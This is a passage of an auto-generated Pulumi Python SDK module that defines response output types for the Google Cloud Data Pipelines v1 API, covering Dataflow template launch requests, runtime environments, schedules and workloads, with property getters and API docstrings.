suggest = "worker_zone"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in GoogleCloudDatapipelinesV1FlexTemplateRuntimeEnvironmentResponse. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
GoogleCloudDatapipelinesV1FlexTemplateRuntimeEnvironmentResponse.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
GoogleCloudDatapipelinesV1FlexTemplateRuntimeEnvironmentResponse.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
additional_experiments: Sequence[str],
additional_user_labels: Mapping[str, str],
enable_streaming_engine: bool,
flexrs_goal: str,
ip_configuration: str,
kms_key_name: str,
machine_type: str,
max_workers: int,
network: str,
num_workers: int,
service_account_email: str,
subnetwork: str,
temp_location: str,
worker_region: str,
worker_zone: str,
zone: str):
"""
The environment values to be set at runtime for a Flex Template.
:param Sequence[str] additional_experiments: Additional experiment flags for the job.
:param Mapping[str, str] additional_user_labels: Additional user labels to be specified for the job. Keys and values must follow the restrictions specified in the [labeling restrictions](https://cloud.google.com/compute/docs/labeling-resources#restrictions). An object containing a list of key/value pairs. Example: `{ "name": "wrench", "mass": "1kg", "count": "3" }`.
:param bool enable_streaming_engine: Whether to enable Streaming Engine for the job.
:param str flexrs_goal: Set FlexRS goal for the job. https://cloud.google.com/dataflow/docs/guides/flexrs
:param str ip_configuration: Configuration for VM IPs.
:param str kms_key_name: Name for the Cloud KMS key for the job. Key format is: projects//locations//keyRings//cryptoKeys/
:param str machine_type: The machine type to use for the job. Defaults to the value from the template if not specified.
:param int max_workers: The maximum number of Compute Engine instances to be made available to your pipeline during execution, from 1 to 1000.
:param str network: Network to which VMs will be assigned. If empty or unspecified, the service will use the network "default".
:param int num_workers: The initial number of Compute Engine instances for the job.
:param str service_account_email: The email address of the service account to run the job as.
:param str subnetwork: Subnetwork to which VMs will be assigned, if desired. You can specify a subnetwork using either a complete URL or an abbreviated path. Expected to be of the form "https://www.googleapis.com/compute/v1/projects/HOST_PROJECT_ID/regions/REGION/subnetworks/SUBNETWORK" or "regions/REGION/subnetworks/SUBNETWORK". If the subnetwork is located in a Shared VPC network, you must use the complete URL.
:param str temp_location: The Cloud Storage path to use for temporary files. Must be a valid Cloud Storage URL, beginning with `gs://`.
:param str worker_region: The Compute Engine region (https://cloud.google.com/compute/docs/regions-zones/regions-zones) in which worker processing should occur, e.g. "us-west1". Mutually exclusive with worker_zone. If neither worker_region nor worker_zone is specified, defaults to the control plane region.
:param str worker_zone: The Compute Engine zone (https://cloud.google.com/compute/docs/regions-zones/regions-zones) in which worker processing should occur, e.g. "us-west1-a". Mutually exclusive with worker_region. If neither worker_region nor worker_zone is specified, a zone in the control plane region is chosen based on available capacity. If both `worker_zone` and `zone` are set, `worker_zone` takes precedence.
:param str zone: The Compute Engine [availability zone](https://cloud.google.com/compute/docs/regions-zones/regions-zones) for launching worker instances to run your pipeline. In the future, worker_zone will take precedence.
"""
pulumi.set(__self__, "additional_experiments", additional_experiments)
pulumi.set(__self__, "additional_user_labels", additional_user_labels)
pulumi.set(__self__, "enable_streaming_engine", enable_streaming_engine)
pulumi.set(__self__, "flexrs_goal", flexrs_goal)
pulumi.set(__self__, "ip_configuration", ip_configuration)
pulumi.set(__self__, "kms_key_name", kms_key_name)
pulumi.set(__self__, "machine_type", machine_type)
pulumi.set(__self__, "max_workers", max_workers)
pulumi.set(__self__, "network", network)
pulumi.set(__self__, "num_workers", num_workers)
pulumi.set(__self__, "service_account_email", service_account_email)
pulumi.set(__self__, "subnetwork", subnetwork)
pulumi.set(__self__, "temp_location", temp_location)
pulumi.set(__self__, "worker_region", worker_region)
pulumi.set(__self__, "worker_zone", worker_zone)
pulumi.set(__self__, "zone", zone)
@property
@pulumi.getter(name="additionalExperiments")
def additional_experiments(self) -> Sequence[str]:
"""
Additional experiment flags for the job.
"""
return pulumi.get(self, "additional_experiments")
@property
@pulumi.getter(name="additionalUserLabels")
def additional_user_labels(self) -> Mapping[str, str]:
"""
Additional user labels to be specified for the job. Keys and values must follow the restrictions specified in the [labeling restrictions](https://cloud.google.com/compute/docs/labeling-resources#restrictions). An object containing a list of key/value pairs. Example: `{ "name": "wrench", "mass": "1kg", "count": "3" }`.
"""
return pulumi.get(self, "additional_user_labels")
@property
@pulumi.getter(name="enableStreamingEngine")
def enable_streaming_engine(self) -> bool:
"""
Whether to enable Streaming Engine for the job.
"""
return pulumi.get(self, "enable_streaming_engine")
@property
@pulumi.getter(name="flexrsGoal")
def flexrs_goal(self) -> str:
"""
Set FlexRS goal for the job. https://cloud.google.com/dataflow/docs/guides/flexrs
"""
return pulumi.get(self, "flexrs_goal")
@property
@pulumi.getter(name="ipConfiguration")
def ip_configuration(self) -> str:
"""
Configuration for VM IPs.
"""
return pulumi.get(self, "ip_configuration")
@property
@pulumi.getter(name="kmsKeyName")
def kms_key_name(self) -> str:
"""
Name for the Cloud KMS key for the job. Key format is: projects//locations//keyRings//cryptoKeys/
"""
return pulumi.get(self, "kms_key_name")
@property
@pulumi.getter(name="machineType")
def machine_type(self) -> str:
"""
The machine type to use for the job. Defaults to the value from the template if not specified.
"""
return pulumi.get(self, "machine_type")
@property
@pulumi.getter(name="maxWorkers")
def max_workers(self) -> int:
"""
The maximum number of Compute Engine instances to be made available to your pipeline during execution, from 1 to 1000.
"""
return pulumi.get(self, "max_workers")
@property
@pulumi.getter
def network(self) -> str:
"""
Network to which VMs will be assigned. If empty or unspecified, the service will use the network "default".
"""
return pulumi.get(self, "network")
@property
@pulumi.getter(name="numWorkers")
def num_workers(self) -> int:
"""
The initial number of Compute Engine instances for the job.
"""
return pulumi.get(self, "num_workers")
@property
@pulumi.getter(name="serviceAccountEmail")
def service_account_email(self) -> str:
"""
The email address of the service account to run the job as.
"""
return pulumi.get(self, "service_account_email")
@property
@pulumi.getter
def subnetwork(self) -> str:
"""
Subnetwork to which VMs will be assigned, if desired. You can specify a subnetwork using either a complete URL or an abbreviated path. Expected to be of the form "https://www.googleapis.com/compute/v1/projects/HOST_PROJECT_ID/regions/REGION/subnetworks/SUBNETWORK" or "regions/REGION/subnetworks/SUBNETWORK". If the subnetwork is located in a Shared VPC network, you must use the complete URL.
"""
return pulumi.get(self, "subnetwork")
@property
@pulumi.getter(name="tempLocation")
def temp_location(self) -> str:
"""
The Cloud Storage path to use for temporary files. Must be a valid Cloud Storage URL, beginning with `gs://`.
"""
return pulumi.get(self, "temp_location")
@property
@pulumi.getter(name="workerRegion")
def worker_region(self) -> str:
"""
The Compute Engine region (https://cloud.google.com/compute/docs/regions-zones/regions-zones) in which worker processing should occur, e.g. "us-west1". Mutually exclusive with worker_zone. If neither worker_region nor worker_zone is specified, defaults to the control plane region.
"""
return pulumi.get(self, "worker_region")
@property
@pulumi.getter(name="workerZone")
def worker_zone(self) -> str:
"""
The Compute Engine zone (https://cloud.google.com/compute/docs/regions-zones/regions-zones) in which worker processing should occur, e.g. "us-west1-a". Mutually exclusive with worker_region. If neither worker_region nor worker_zone is specified, a zone in the control plane region is chosen based on available capacity. If both `worker_zone` and `zone` are set, `worker_zone` takes precedence.
"""
return pulumi.get(self, "worker_zone")
@property
@pulumi.getter
def zone(self) -> str:
"""
The Compute Engine [availability zone](https://cloud.google.com/compute/docs/regions-zones/regions-zones) for launching worker instances to run your pipeline. In the future, worker_zone will take precedence.
"""
return pulumi.get(self, "zone")
@pulumi.output_type
class GoogleCloudDatapipelinesV1LaunchFlexTemplateParameterResponse(dict):
"""
Launch Flex Template parameter.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "containerSpecGcsPath":
suggest = "container_spec_gcs_path"
elif key == "jobName":
suggest = "job_name"
elif key == "launchOptions":
suggest = "launch_options"
elif key == "transformNameMappings":
suggest = "transform_name_mappings"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in GoogleCloudDatapipelinesV1LaunchFlexTemplateParameterResponse. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
GoogleCloudDatapipelinesV1LaunchFlexTemplateParameterResponse.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
GoogleCloudDatapipelinesV1LaunchFlexTemplateParameterResponse.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
container_spec_gcs_path: str,
environment: 'outputs.GoogleCloudDatapipelinesV1FlexTemplateRuntimeEnvironmentResponse',
job_name: str,
launch_options: Mapping[str, str],
parameters: Mapping[str, str],
transform_name_mappings: Mapping[str, str],
update: bool):
"""
Launch Flex Template parameter.
:param str container_spec_gcs_path: Cloud Storage path to a file with a JSON-serialized ContainerSpec as content.
:param 'GoogleCloudDatapipelinesV1FlexTemplateRuntimeEnvironmentResponse' environment: The runtime environment for the Flex Template job.
:param str job_name: The job name to use for the created job. For an update job request, the job name should be the same as the existing running job.
:param Mapping[str, str] launch_options: Launch options for this Flex Template job. This is a common set of options across languages and templates. This should not be used to pass job parameters.
:param Mapping[str, str] parameters: The parameters for the Flex Template. Example: `{"num_workers":"5"}`
:param Mapping[str, str] transform_name_mappings: Use this to pass transform name mappings for streaming update jobs. Example: `{"oldTransformName":"newTransformName",...}`
:param bool update: Set this to true if you are sending a request to update a running streaming job. When set, the job name should be the same as the running job.
"""
pulumi.set(__self__, "container_spec_gcs_path", container_spec_gcs_path)
pulumi.set(__self__, "environment", environment)
pulumi.set(__self__, "job_name", job_name)
pulumi.set(__self__, "launch_options", launch_options)
pulumi.set(__self__, "parameters", parameters)
pulumi.set(__self__, "transform_name_mappings", transform_name_mappings)
pulumi.set(__self__, "update", update)
@property
@pulumi.getter(name="containerSpecGcsPath")
def container_spec_gcs_path(self) -> str:
"""
Cloud Storage path to a file with a JSON-serialized ContainerSpec as content.
"""
return pulumi.get(self, "container_spec_gcs_path")
@property
@pulumi.getter
def environment(self) -> 'outputs.GoogleCloudDatapipelinesV1FlexTemplateRuntimeEnvironmentResponse':
"""
The runtime environment for the Flex Template job.
"""
return pulumi.get(self, "environment")
@property
@pulumi.getter(name="jobName")
def job_name(self) -> str:
"""
The job name to use for the created job. For an update job request, the job name should be the same as the existing running job.
"""
return pulumi.get(self, "job_name")
@property
@pulumi.getter(name="launchOptions")
def launch_options(self) -> Mapping[str, str]:
"""
Launch options for this Flex Template job. This is a common set of options across languages and templates. This should not be used to pass job parameters.
"""
return pulumi.get(self, "launch_options")
@property
@pulumi.getter
def parameters(self) -> Mapping[str, str]:
"""
The parameters for the Flex Template. Example: `{"num_workers":"5"}`
"""
return pulumi.get(self, "parameters")
@property
@pulumi.getter(name="transformNameMappings")
def transform_name_mappings(self) -> Mapping[str, str]:
"""
Use this to pass transform name mappings for streaming update jobs. Example: `{"oldTransformName":"newTransformName",...}`
"""
return pulumi.get(self, "transform_name_mappings")
@property
@pulumi.getter
def update(self) -> bool:
"""
Set this to true if you are sending a request to update a running streaming job. When set, the job name should be the same as the running job.
"""
return pulumi.get(self, "update")
@pulumi.output_type
class GoogleCloudDatapipelinesV1LaunchFlexTemplateRequestResponse(dict):
"""
A request to launch a Dataflow job from a Flex Template.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "launchParameter":
suggest = "launch_parameter"
elif key == "validateOnly":
suggest = "validate_only"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in GoogleCloudDatapipelinesV1LaunchFlexTemplateRequestResponse. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
GoogleCloudDatapipelinesV1LaunchFlexTemplateRequestResponse.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
GoogleCloudDatapipelinesV1LaunchFlexTemplateRequestResponse.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
launch_parameter: 'outputs.GoogleCloudDatapipelinesV1LaunchFlexTemplateParameterResponse',
location: str,
project: str,
validate_only: bool):
"""
A request to launch a Dataflow job from a Flex Template.
:param 'GoogleCloudDatapipelinesV1LaunchFlexTemplateParameterResponse' launch_parameter: Parameter to launch a job from a Flex Template.
:param str location: The [regional endpoint] (https://cloud.google.com/dataflow/docs/concepts/regional-endpoints) to which to direct the request. For example, `us-central1`, `us-west1`.
:param str project: The ID of the Cloud Platform project that the job belongs to.
:param bool validate_only: If true, the request is validated but not actually executed. Defaults to false.
"""
pulumi.set(__self__, "launch_parameter", launch_parameter)
pulumi.set(__self__, "location", location)
pulumi.set(__self__, "project", project)
pulumi.set(__self__, "validate_only", validate_only)
@property
@pulumi.getter(name="launchParameter")
def launch_parameter(self) -> 'outputs.GoogleCloudDatapipelinesV1LaunchFlexTemplateParameterResponse':
"""
Parameter to launch a job from a Flex Template.
"""
return pulumi.get(self, "launch_parameter")
@property
@pulumi.getter
def location(self) -> str:
"""
The [regional endpoint] (https://cloud.google.com/dataflow/docs/concepts/regional-endpoints) to which to direct the request. For example, `us-central1`, `us-west1`.
"""
return pulumi.get(self, "location")
@property
@pulumi.getter
def project(self) -> str:
"""
The ID of the Cloud Platform project that the job belongs to.
"""
return pulumi.get(self, "project")
@property
@pulumi.getter(name="validateOnly")
def validate_only(self) -> bool:
"""
If true, the request is validated but not actually executed. Defaults to false.
"""
return pulumi.get(self, "validate_only")
@pulumi.output_type
class GoogleCloudDatapipelinesV1LaunchTemplateParametersResponse(dict):
"""
Parameters to provide to the template being launched.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "jobName":
suggest = "job_name"
elif key == "transformNameMapping":
suggest = "transform_name_mapping"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in GoogleCloudDatapipelinesV1LaunchTemplateParametersResponse. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
GoogleCloudDatapipelinesV1LaunchTemplateParametersResponse.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
GoogleCloudDatapipelinesV1LaunchTemplateParametersResponse.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
environment: 'outputs.GoogleCloudDatapipelinesV1RuntimeEnvironmentResponse',
job_name: str,
parameters: Mapping[str, str],
transform_name_mapping: Mapping[str, str],
update: bool):
"""
Parameters to provide to the template being launched.
:param 'GoogleCloudDatapipelinesV1RuntimeEnvironmentResponse' environment: The runtime environment for the job.
:param str job_name: The job name to use for the created job.
:param Mapping[str, str] parameters: The runtime parameters to pass to the job.
:param Mapping[str, str] transform_name_mapping: Map of transform name prefixes of the job to be replaced to the corresponding name prefixes of the new job. Only applicable when updating a pipeline.
:param bool update: If set, replace the existing pipeline with the name specified by jobName with this pipeline, preserving state.
"""
pulumi.set(__self__, "environment", environment)
pulumi.set(__self__, "job_name", job_name)
pulumi.set(__self__, "parameters", parameters)
pulumi.set(__self__, "transform_name_mapping", transform_name_mapping)
pulumi.set(__self__, "update", update)
@property
@pulumi.getter
def environment(self) -> 'outputs.GoogleCloudDatapipelinesV1RuntimeEnvironmentResponse':
"""
The runtime environment for the job.
"""
return pulumi.get(self, "environment")
@property
@pulumi.getter(name="jobName")
def job_name(self) -> str:
"""
The job name to use for the created job.
"""
return pulumi.get(self, "job_name")
@property
@pulumi.getter
def parameters(self) -> Mapping[str, str]:
"""
The runtime parameters to pass to the job.
"""
return pulumi.get(self, "parameters")
@property
@pulumi.getter(name="transformNameMapping")
def transform_name_mapping(self) -> Mapping[str, str]:
"""
Map of transform name prefixes of the job to be replaced to the corresponding name prefixes of the new job. Only applicable when updating a pipeline.
"""
return pulumi.get(self, "transform_name_mapping")
@property
@pulumi.getter
def update(self) -> bool:
"""
If set, replace the existing pipeline with the name specified by jobName with this pipeline, preserving state.
"""
return pulumi.get(self, "update")
@pulumi.output_type
class GoogleCloudDatapipelinesV1LaunchTemplateRequestResponse(dict):
"""
A request to launch a template.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "gcsPath":
suggest = "gcs_path"
elif key == "launchParameters":
suggest = "launch_parameters"
elif key == "validateOnly":
suggest = "validate_only"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in GoogleCloudDatapipelinesV1LaunchTemplateRequestResponse. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
GoogleCloudDatapipelinesV1LaunchTemplateRequestResponse.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
GoogleCloudDatapipelinesV1LaunchTemplateRequestResponse.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
gcs_path: str,
launch_parameters: 'outputs.GoogleCloudDatapipelinesV1LaunchTemplateParametersResponse',
location: str,
project: str,
validate_only: bool):
"""
A request to launch a template.
:param str gcs_path: A Cloud Storage path to the template from which to create the job. Must be a valid Cloud Storage URL, beginning with 'gs://'.
:param 'GoogleCloudDatapipelinesV1LaunchTemplateParametersResponse' launch_parameters: The parameters of the template to launch. This should be part of the body of the POST request.
:param str location: The [regional endpoint] (https://cloud.google.com/dataflow/docs/concepts/regional-endpoints) to which to direct the request.
:param str project: The ID of the Cloud Platform project that the job belongs to.
:param bool validate_only: If true, the request is validated but not actually executed. Defaults to false.
"""
pulumi.set(__self__, "gcs_path", gcs_path)
pulumi.set(__self__, "launch_parameters", launch_parameters)
pulumi.set(__self__, "location", location)
pulumi.set(__self__, "project", project)
pulumi.set(__self__, "validate_only", validate_only)
@property
@pulumi.getter(name="gcsPath")
def gcs_path(self) -> str:
"""
A Cloud Storage path to the template from which to create the job. Must be a valid Cloud Storage URL, beginning with 'gs://'.
"""
return pulumi.get(self, "gcs_path")
@property
@pulumi.getter(name="launchParameters")
def launch_parameters(self) -> 'outputs.GoogleCloudDatapipelinesV1LaunchTemplateParametersResponse':
"""
The parameters of the template to launch. This should be part of the body of the POST request.
"""
return pulumi.get(self, "launch_parameters")
@property
@pulumi.getter
def location(self) -> str:
"""
The [regional endpoint] (https://cloud.google.com/dataflow/docs/concepts/regional-endpoints) to which to direct the request.
"""
return pulumi.get(self, "location")
@property
@pulumi.getter
def project(self) -> str:
"""
The ID of the Cloud Platform project that the job belongs to.
"""
return pulumi.get(self, "project")
@property
@pulumi.getter(name="validateOnly")
def validate_only(self) -> bool:
"""
If true, the request is validated but not actually executed. Defaults to false.
"""
return pulumi.get(self, "validate_only")
@pulumi.output_type
class GoogleCloudDatapipelinesV1RuntimeEnvironmentResponse(dict):
"""
The environment values to set at runtime.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "additionalExperiments":
suggest = "additional_experiments"
elif key == "additionalUserLabels":
suggest = "additional_user_labels"
elif key == "bypassTempDirValidation":
suggest = "bypass_temp_dir_validation"
elif key == "enableStreamingEngine":
suggest = "enable_streaming_engine"
elif key == "ipConfiguration":
suggest = "ip_configuration"
elif key == "kmsKeyName":
suggest = "kms_key_name"
elif key == "machineType":
suggest = "machine_type"
elif key == "maxWorkers":
suggest = "max_workers"
elif key == "numWorkers":
suggest = "num_workers"
elif key == "serviceAccountEmail":
suggest = "service_account_email"
elif key == "tempLocation":
suggest = "temp_location"
elif key == "workerRegion":
suggest = "worker_region"
elif key == "workerZone":
suggest = "worker_zone"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in GoogleCloudDatapipelinesV1RuntimeEnvironmentResponse. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
GoogleCloudDatapipelinesV1RuntimeEnvironmentResponse.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
GoogleCloudDatapipelinesV1RuntimeEnvironmentResponse.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
additional_experiments: Sequence[str],
additional_user_labels: Mapping[str, str],
bypass_temp_dir_validation: bool,
enable_streaming_engine: bool,
ip_configuration: str,
kms_key_name: str,
machine_type: str,
max_workers: int,
network: str,
num_workers: int,
service_account_email: str,
subnetwork: str,
temp_location: str,
worker_region: str,
worker_zone: str,
zone: str):
"""
The environment values to set at runtime.
:param Sequence[str] additional_experiments: Additional experiment flags for the job.
:param Mapping[str, str] additional_user_labels: Additional user labels to be specified for the job. Keys and values should follow the restrictions specified in the [labeling restrictions](https://cloud.google.com/compute/docs/labeling-resources#restrictions) page. An object containing a list of key/value pairs. Example: { "name": "wrench", "mass": "1kg", "count": "3" }.
:param bool bypass_temp_dir_validation: Whether to bypass the safety checks for the job's temporary directory. Use with caution.
:param bool enable_streaming_engine: Whether to enable Streaming Engine for the job.
:param str ip_configuration: Configuration for VM IPs.
:param str kms_key_name: Name for the Cloud KMS key for the job. The key format is: projects//locations//keyRings//cryptoKeys/
:param str machine_type: The machine type to use for the job. Defaults to the value from the template if not specified.
:param int max_workers: The maximum number of Compute Engine instances to be made available to your pipeline during execution, from 1 to 1000.
:param str network: Network to which VMs will be assigned. If empty or unspecified, the service will use the network "default".
:param int num_workers: The initial number of Compute Engine instances for the job.
:param str service_account_email: The email address of the service account to run the job as.
:param str subnetwork: Subnetwork to which VMs will be assigned, if desired. You can specify a subnetwork using either a complete URL or an abbreviated path. Expected to be of the form "https://www.googleapis.com/compute/v1/projects/HOST_PROJECT_ID/regions/REGION/subnetworks/SUBNETWORK" or "regions/REGION/subnetworks/SUBNETWORK". If the subnetwork is located in a Shared VPC network, you must use the complete URL.
:param str temp_location: The Cloud Storage path to use for temporary files. Must be a valid Cloud Storage URL, beginning with `gs://`.
:param str worker_region: The Compute Engine region (https://cloud.google.com/compute/docs/regions-zones/regions-zones) in which worker processing should occur, e.g. "us-west1". Mutually exclusive with worker_zone. If neither worker_region nor worker_zone is specified, default to the control plane's region.
:param str worker_zone: The Compute Engine zone (https://cloud.google.com/compute/docs/regions-zones/regions-zones) in which worker processing should occur, e.g. "us-west1-a". Mutually exclusive with worker_region. If neither worker_region nor worker_zone is specified, a zone in the control plane's region is chosen based on available capacity. If both `worker_zone` and `zone` are set, `worker_zone` takes precedence.
:param str zone: The Compute Engine [availability zone](https://cloud.google.com/compute/docs/regions-zones/regions-zones) for launching worker instances to run your pipeline. In the future, worker_zone will take precedence.
"""
pulumi.set(__self__, "additional_experiments", additional_experiments)
pulumi.set(__self__, "additional_user_labels", additional_user_labels)
pulumi.set(__self__, "bypass_temp_dir_validation", bypass_temp_dir_validation)
pulumi.set(__self__, "enable_streaming_engine", enable_streaming_engine)
pulumi.set(__self__, "ip_configuration", ip_configuration)
pulumi.set(__self__, "kms_key_name", kms_key_name)
pulumi.set(__self__, "machine_type", machine_type)
pulumi.set(__self__, "max_workers", max_workers)
pulumi.set(__self__, "network", network)
pulumi.set(__self__, "num_workers", num_workers)
pulumi.set(__self__, "service_account_email", service_account_email)
pulumi.set(__self__, "subnetwork", subnetwork)
pulumi.set(__self__, "temp_location", temp_location)
pulumi.set(__self__, "worker_region", worker_region)
pulumi.set(__self__, "worker_zone", worker_zone)
pulumi.set(__self__, "zone", zone)
@property
@pulumi.getter(name="additionalExperiments")
def additional_experiments(self) -> Sequence[str]:
"""
Additional experiment flags for the job.
"""
return pulumi.get(self, "additional_experiments")
@property
@pulumi.getter(name="additionalUserLabels")
def additional_user_labels(self) -> Mapping[str, str]:
"""
Additional user labels to be specified for the job. Keys and values should follow the restrictions specified in the [labeling restrictions](https://cloud.google.com/compute/docs/labeling-resources#restrictions) page. An object containing a list of key/value pairs. Example: { "name": "wrench", "mass": "1kg", "count": "3" }.
"""
return pulumi.get(self, "additional_user_labels")
@property
@pulumi.getter(name="bypassTempDirValidation")
def bypass_temp_dir_validation(self) -> bool:
"""
Whether to bypass the safety checks for the job's temporary directory. Use with caution.
"""
return pulumi.get(self, "bypass_temp_dir_validation")
@property
@pulumi.getter(name="enableStreamingEngine")
def enable_streaming_engine(self) -> bool:
"""
Whether to enable Streaming Engine for the job.
"""
return pulumi.get(self, "enable_streaming_engine")
@property
@pulumi.getter(name="ipConfiguration")
def ip_configuration(self) -> str:
"""
Configuration for VM IPs.
"""
return pulumi.get(self, "ip_configuration")
@property
@pulumi.getter(name="kmsKeyName")
def kms_key_name(self) -> str:
"""
Name for the Cloud KMS key for the job. The key format is: projects//locations//keyRings//cryptoKeys/
"""
return pulumi.get(self, "kms_key_name")
@property
@pulumi.getter(name="machineType")
def machine_type(self) -> str:
"""
The machine type to use for the job. Defaults to the value from the template if not specified.
"""
return pulumi.get(self, "machine_type")
@property
@pulumi.getter(name="maxWorkers")
def max_workers(self) -> int:
"""
The maximum number of Compute Engine instances to be made available to your pipeline during execution, from 1 to 1000.
"""
return pulumi.get(self, "max_workers")
@property
@pulumi.getter
def network(self) -> str:
"""
Network to which VMs will be assigned. If empty or unspecified, the service will use the network "default".
"""
return pulumi.get(self, "network")
@property
@pulumi.getter(name="numWorkers")
def num_workers(self) -> int:
"""
The initial number of Compute Engine instances for the job.
"""
return pulumi.get(self, "num_workers")
@property
@pulumi.getter(name="serviceAccountEmail")
def service_account_email(self) -> str:
"""
The email address of the service account to run the job as.
"""
return pulumi.get(self, "service_account_email")
@property
@pulumi.getter
def subnetwork(self) -> str:
"""
Subnetwork to which VMs will be assigned, if desired. You can specify a subnetwork using either a complete URL or an abbreviated path. Expected to be of the form "https://www.googleapis.com/compute/v1/projects/HOST_PROJECT_ID/regions/REGION/subnetworks/SUBNETWORK" or "regions/REGION/subnetworks/SUBNETWORK". If the subnetwork is located in a Shared VPC network, you must use the complete URL.
"""
return pulumi.get(self, "subnetwork")
@property
@pulumi.getter(name="tempLocation")
def temp_location(self) -> str:
"""
The Cloud Storage path to use for temporary files. Must be a valid Cloud Storage URL, beginning with `gs://`.
"""
return pulumi.get(self, "temp_location")
@property
@pulumi.getter(name="workerRegion")
def worker_region(self) -> str:
"""
The Compute Engine region (https://cloud.google.com/compute/docs/regions-zones/regions-zones) in which worker processing should occur, e.g. "us-west1". Mutually exclusive with worker_zone. If neither worker_region nor worker_zone is specified, default to the control plane's region.
"""
return pulumi.get(self, "worker_region")
@property
@pulumi.getter(name="workerZone")
def worker_zone(self) -> str:
"""
The Compute Engine zone (https://cloud.google.com/compute/docs/regions-zones/regions-zones) in which worker processing should occur, e.g. "us-west1-a". Mutually exclusive with worker_region. If neither worker_region nor worker_zone is specified, a zone in the control plane's region is chosen based on available capacity. If both `worker_zone` and `zone` are set, `worker_zone` takes precedence.
"""
return pulumi.get(self, "worker_zone")
@property
@pulumi.getter
def zone(self) -> str:
"""
The Compute Engine [availability zone](https://cloud.google.com/compute/docs/regions-zones/regions-zones) for launching worker instances to run your pipeline. In the future, worker_zone will take precedence.
"""
return pulumi.get(self, "zone")
@pulumi.output_type
class GoogleCloudDatapipelinesV1ScheduleSpecResponse(dict):
"""
Details of the schedule the pipeline runs on.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "nextJobTime":
suggest = "next_job_time"
elif key == "timeZone":
suggest = "time_zone"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in GoogleCloudDatapipelinesV1ScheduleSpecResponse. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
GoogleCloudDatapipelinesV1ScheduleSpecResponse.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
GoogleCloudDatapipelinesV1ScheduleSpecResponse.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
next_job_time: str,
schedule: str,
time_zone: str):
"""
Details of the schedule the pipeline runs on.
:param str next_job_time: When the next Scheduler job is going to run.
:param str schedule: Unix-cron format of the schedule. This information is retrieved from the linked Cloud Scheduler.
:param str time_zone: Timezone ID. This matches the timezone IDs used by the Cloud Scheduler API. If empty, UTC time is assumed.
"""
pulumi.set(__self__, "next_job_time", next_job_time)
pulumi.set(__self__, "schedule", schedule)
pulumi.set(__self__, "time_zone", time_zone)
@property
@pulumi.getter(name="nextJobTime")
def next_job_time(self) -> str:
"""
When the next Scheduler job is going to run.
"""
return pulumi.get(self, "next_job_time")
@property
@pulumi.getter
def schedule(self) -> str:
"""
Unix-cron format of the schedule. This information is retrieved from the linked Cloud Scheduler.
"""
return pulumi.get(self, "schedule")
@property
@pulumi.getter(name="timeZone")
def time_zone(self) -> str:
"""
Timezone ID. This matches the timezone IDs used by the Cloud Scheduler API. If empty, UTC time is assumed.
"""
return pulumi.get(self, "time_zone")
@pulumi.output_type
class GoogleCloudDatapipelinesV1WorkloadResponse(dict):
"""
Workload details for creating the pipeline jobs.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "dataflowFlexTemplateRequest":
suggest = "dataflow_flex_template_request"
elif key == "dataflowLaunchTemplateRequest":
suggest = "dataflow_launch_template_request"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in GoogleCloudDatapipelinesV1WorkloadResponse. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
GoogleCloudDatapipelinesV1WorkloadResponse.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
GoogleCloudDatapipelinesV1WorkloadResponse.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
dataflow_flex_template_request: 'outputs.GoogleCloudDatapipelinesV1LaunchFlexTemplateRequestResponse',
dataflow_launch_template_request: 'outputs.GoogleCloudDatapipelinesV1LaunchTemplateRequestResponse'):
"""
Workload details for creating the pipeline jobs.
:param 'GoogleCloudDatapipelinesV1LaunchFlexTemplateRequestResponse' dataflow_flex_template_request: Template information and additional parameters needed to launch a Dataflow job using the flex launch API.
:param 'GoogleCloudDatapipelinesV1LaunchTemplateRequestResponse' dataflow_launch_template_request: Template information and additional parameters needed to launch a Dataflow job using the standard launch API.
"""
pulumi.set(__self__, "dataflow_flex_template_request", dataflow_flex_template_request)
pulumi.set(__self__, "dataflow_launch_template_request", dataflow_launch_template_request)
@property
@pulumi.getter(name="dataflowFlexTemplateRequest")
def dataflow_flex_template_request(self) -> 'outputs.GoogleCloudDatapipelinesV1LaunchFlexTemplateRequestResponse':
"""
Template information and additional parameters needed to launch a Dataflow job using the flex launch API.
"""
